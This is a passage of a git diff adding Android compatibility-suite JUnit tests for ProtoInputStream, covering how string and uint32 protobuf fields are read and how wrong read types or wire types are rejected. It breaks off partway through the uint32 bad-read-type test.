+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+public class ProtoInputStreamStringTest extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> null - default value, not written
+ // 2 -> "" - default value, not written
+ // 3 -> "abcd\u3110!"
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0x61, (byte) 0x62, (byte) 0x63, (byte) 0x64,
+ (byte) 0xe3, (byte) 0x84, (byte) 0x90, (byte) 0x21,
+ // 5 -> "Hi"
+ (byte) 0x2a,
+ (byte) 0x02,
+ (byte) 0x48, (byte) 0x69,
+ // 4 -> "Hi"
+ (byte) 0x22,
+ (byte) 0x02,
+ (byte) 0x48, (byte) 0x69,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ String[] results = new String[4];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0] = pi.readString(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readString(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readString(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readString(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertNull(results[0]);
+ assertNull(results[1]);
+ assertEquals("abcd\u3110!", results[2]);
+ assertEquals("Hi", results[3]);
+ }
+
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat("");
+ testReadCompat("abcd\u3110!");
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(String val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+ final long FIELD_ID = fieldFlags | ((long) 140 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.stringField = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ String result = "";
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readString(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.stringField, result);
+ }
+
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_STRING;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> null - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x00,
+ // 2 -> "" - default value, written when repeated
+ (byte) 0x12,
+ (byte) 0x00,
+ // 3 -> "abcd\u3110!"
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0x61, (byte) 0x62, (byte) 0x63, (byte) 0x64,
+ (byte) 0xe3, (byte) 0x84, (byte) 0x90, (byte) 0x21,
+ // 4 -> "Hi"
+ (byte) 0x22,
+ (byte) 0x02,
+ (byte) 0x48, (byte) 0x69,
+
+ // 5 -> "Hi"
+ (byte) 0x2a,
+ (byte) 0x02,
+ (byte) 0x48, (byte) 0x69,
+
+ // 1 -> null - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x00,
+ // 2 -> "" - default value, written when repeated
+ (byte) 0x12,
+ (byte) 0x00,
+ // 3 -> "abcd\u3110!"
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0x61, (byte) 0x62, (byte) 0x63, (byte) 0x64,
+ (byte) 0xe3, (byte) 0x84, (byte) 0x90, (byte) 0x21,
+ // 4 -> "Hi"
+ (byte) 0x22,
+ (byte) 0x02,
+ (byte) 0x48, (byte) 0x69,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ String[][] results = new String[4][2];
+ int[] indices = new int[4];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readString(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readString(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readString(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readString(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals("", results[0][0]);
+ assertEquals("", results[0][1]);
+ assertEquals("", results[1][0]);
+ assertEquals("", results[1][1]);
+ assertEquals("abcd\u3110!", results[2][0]);
+ assertEquals("abcd\u3110!", results[2][1]);
+ assertEquals("Hi", results[3][0]);
+ assertEquals("Hi", results[3][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new String[0]);
+ testRepeatedCompat(new String[]{"", "abcd\u3110!", "Hi",});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(String[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_STRING;
+ final long FIELD_ID = fieldFlags | ((long) 141 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.stringFieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ String[] result = new String[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readString(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.stringFieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.stringFieldRepeated[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> {1}
+ (byte) 0x0a,
+ (byte) 0x01,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readString(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readString(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readString(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed booleans)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readString(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+
+}
\ No newline at end of file
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt32Test.java
new file mode 100644
index 0000000..eeb6105
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt32Test.java
@@ -0,0 +1,563 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamUInt32Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[] results = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(int val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+ final long FIELD_ID = fieldFlags | ((long) 50 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.uint32Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.uint32Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new int[0]);
+ testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT32;
+ final long FIELD_ID = fieldFlags | ((long) 51 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.uint32FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.uint32FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.uint32FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_UINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+
+ // 6 -> MAX_VALUE
+ (byte) 0x32,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x14,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 4 -> MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 5 -> MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new int[0]);
+ testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT32;
+ final long FIELD_ID = fieldFlags | ((long) 52 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.uint32FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.uint32FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.uint32FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
